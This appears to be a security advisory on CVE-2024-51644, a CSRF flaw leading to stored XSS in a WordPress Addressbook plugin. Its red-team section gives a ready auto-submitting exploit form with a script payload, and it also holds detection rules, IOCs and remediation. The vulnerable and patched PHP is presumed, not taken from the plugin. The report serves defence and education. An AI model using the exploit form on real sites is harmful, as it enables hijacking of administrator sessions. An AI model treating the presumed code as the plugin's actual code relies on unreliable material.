CVE-2024-51644

Executive Summary

CVE-2024-51644 is a Cross-Site Request Forgery (CSRF) vulnerability in the WordPress plugin Addressbook by samwilson, affecting versions up to and including 1.1.3. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as adding or modifying address book entries, which can lead to Stored Cross-Site Scripting (XSS). The CVSS score is 7.1 (High), with a vector emphasizing network-based exploitation, low attack complexity, and required user interaction. No public exploit code or patch details are currently available, but the risk is elevated due to the potential for stored XSS payloads to persist and affect other users.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the repository are at risk. No known supply chain compromise has been reported, but the lack of a patch increases the urgency for manual mitigation.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – Attacker does not need authentication.
• User Interaction: Required (UI:R) – Victim must click a crafted link or visit a malicious page.
• Scope: Changed (S:C) – Impact extends beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited data modification.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The combination of CSRF and stored XSS allows attackers to execute arbitrary JavaScript in the context of an admin session, potentially leading to account takeover, data theft, or further compromise.

Deep Dive & Mechanics

The vulnerability resides in the Addressbook plugin’s handling of HTTP requests for adding or modifying address book entries. The plugin fails to implement CSRF tokens or other anti-forgery mechanisms, allowing an attacker to forge requests on behalf of an authenticated user. When an admin is tricked into clicking a malicious link or visiting a crafted page, the attacker can submit a request to add a new address entry containing malicious JavaScript. This payload is stored in the database and executed when any user (including the admin) views the address book page, resulting in stored XSS.

Attack Flow:

1. Attacker crafts a malicious HTML page with a form that submits a POST request to the WordPress admin AJAX endpoint (e.g., /wp-admin/admin-ajax.php?action=addressbook_add_entry).
2. The form includes fields for name, email, phone, and a JavaScript payload in the name field.
3. Attacker lures an authenticated admin to visit the malicious page (e.g., via phishing email).
4. The admin’s browser automatically submits the form (due to auto-submit JavaScript), adding the malicious entry.
5. When the admin or any other user views the address book, the stored XSS payload executes, potentially stealing cookies, redirecting to malicious sites, or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the plugin’s AJAX handler. A typical vulnerable pattern would be:

Vulnerable Code (PHP):

add_action('wp_ajax_addressbook_add_entry', 'addressbook_add_entry');
function addressbook_add_entry() {
    // No CSRF check
    $name = sanitize_text_field($_POST['name']);
    $email = sanitize_text_field($_POST['email']);
    // Insert into database without proper output encoding
    $wpdb->insert($wpdb->prefix . 'addressbook', array(
        'name' => $name,
        'email' => $email
    ));
    wp_die();
}

Patched Code (Hypothetical):

add_action('wp_ajax_addressbook_add_entry', 'addressbook_add_entry');
function addressbook_add_entry() {
    // CSRF token verification
    if (!wp_verify_nonce($_POST['_wpnonce'], 'addressbook_add_entry')) {
        wp_die('CSRF validation failed.');
    }
    $name = sanitize_text_field($_POST['name']);
    $email = sanitize_text_field($_POST['email']);
    // Use prepared statements and output encoding
    $wpdb->insert($wpdb->prefix . 'addressbook', array(
        'name' => esc_html($name),
        'email' => esc_html($email)
    ));
    wp_die();
}

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

• Target: WordPress site with Addressbook plugin v1.1.3.
• Attacker machine: Kali Linux with a web server (e.g., Apache) to host the malicious page.
• Victim: Authenticated WordPress admin.

Exploitation Steps:

1. Create a malicious HTML file (exploit.html) with the following content:

<html>
<body>
<form id="csrf" action="http://target/wp-admin/admin-ajax.php" method="POST">
  <input type="hidden" name="action" value="addressbook_add_entry">
  <input type="hidden" name="name" value="<script>alert('XSS')</script>">
  <input type="hidden" name="email" value="attacker@evil.com">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

2. Host the file on the attacker’s web server: python3 -m http.server 8080.
3. Send the link to the victim (e.g., http://attacker:8080/exploit.html).
4. Once the victim clicks the link, the form auto-submits, adding a malicious entry.
5. When the victim views the address book, the XSS payload executes.

Blue Team (Defender)

Detection Steps:

• Monitor for unusual POST requests to /wp-admin/admin-ajax.php with action=addressbook_add_entry from unexpected referrers.
• Check for suspicious entries in the wp_addressbook table containing <script> tags.
• Use web application firewall (WAF) rules to block requests with JavaScript payloads in address fields.

Mitigation:

• Disable the plugin until a patch is available.
• Implement a WAF rule to block requests to admin-ajax.php without a valid nonce.
• Educate users about phishing attacks that trick them into clicking malicious links.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with action=addressbook_add_entry and suspicious parameters.
  • Referrer headers pointing to external domains.
• File IOCs:
  • Presence of <script> tags in the wp_addressbook table.
  • Unusual entries in the address book with JavaScript code.
• Behavioral IOCs:
  • Unexpected address book entries appearing without user action.
  • Alerts or redirects when viewing the address book page.

Detection Engineering

YARA Rule

rule CVE_2024_51644_CSRF_XSS {
    meta:
        description = "Detects malicious HTML forms targeting Addressbook plugin CSRF"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-51644"
    strings:
        $csrf_form = /<form[^>]*action=["']http:\/\/[^"']*\/wp-admin\/admin-ajax\.php["'][^>]*>/
        $xss_payload = /<script>.*<\/script>/
        $action_field = /<input[^>]*name=["']action["'][^>]*value=["']addressbook_add_entry["'][^>]*>/
    condition:
        $csrf_form and $xss_payload and $action_field
}

Sigma Rule

title: CVE-2024-51644 Addressbook CSRF to Stored XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to WordPress admin-ajax.php with addressbook_add_entry action and potential XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "admin-ajax.php"
        cs-uri-query|contains: "action=addressbook_add_entry"
        cs-uri-query|contains: "<script>"
    condition: selection
falsepositives:
    - Legitimate admin actions with non-malicious script tags (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-51644 Addressbook CSRF to Stored XSS"; flow:to_server; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=addressbook_add_entry"; http_client_body; content:"<script>"; within:100; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by the vendor.
2. Implement a WAF rule to block requests to admin-ajax.php without a valid nonce.
3. Review and clean the wp_addressbook table for any malicious entries.

Long-term Fix:

• The vendor must release a patched version that includes CSRF tokens and proper output encoding.
• Users should update to the latest version once available.

Workarounds:

• Use a security plugin like Wordfence to add CSRF protection.
• Restrict access to the address book functionality via role-based permissions.

Valters IT signature: This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.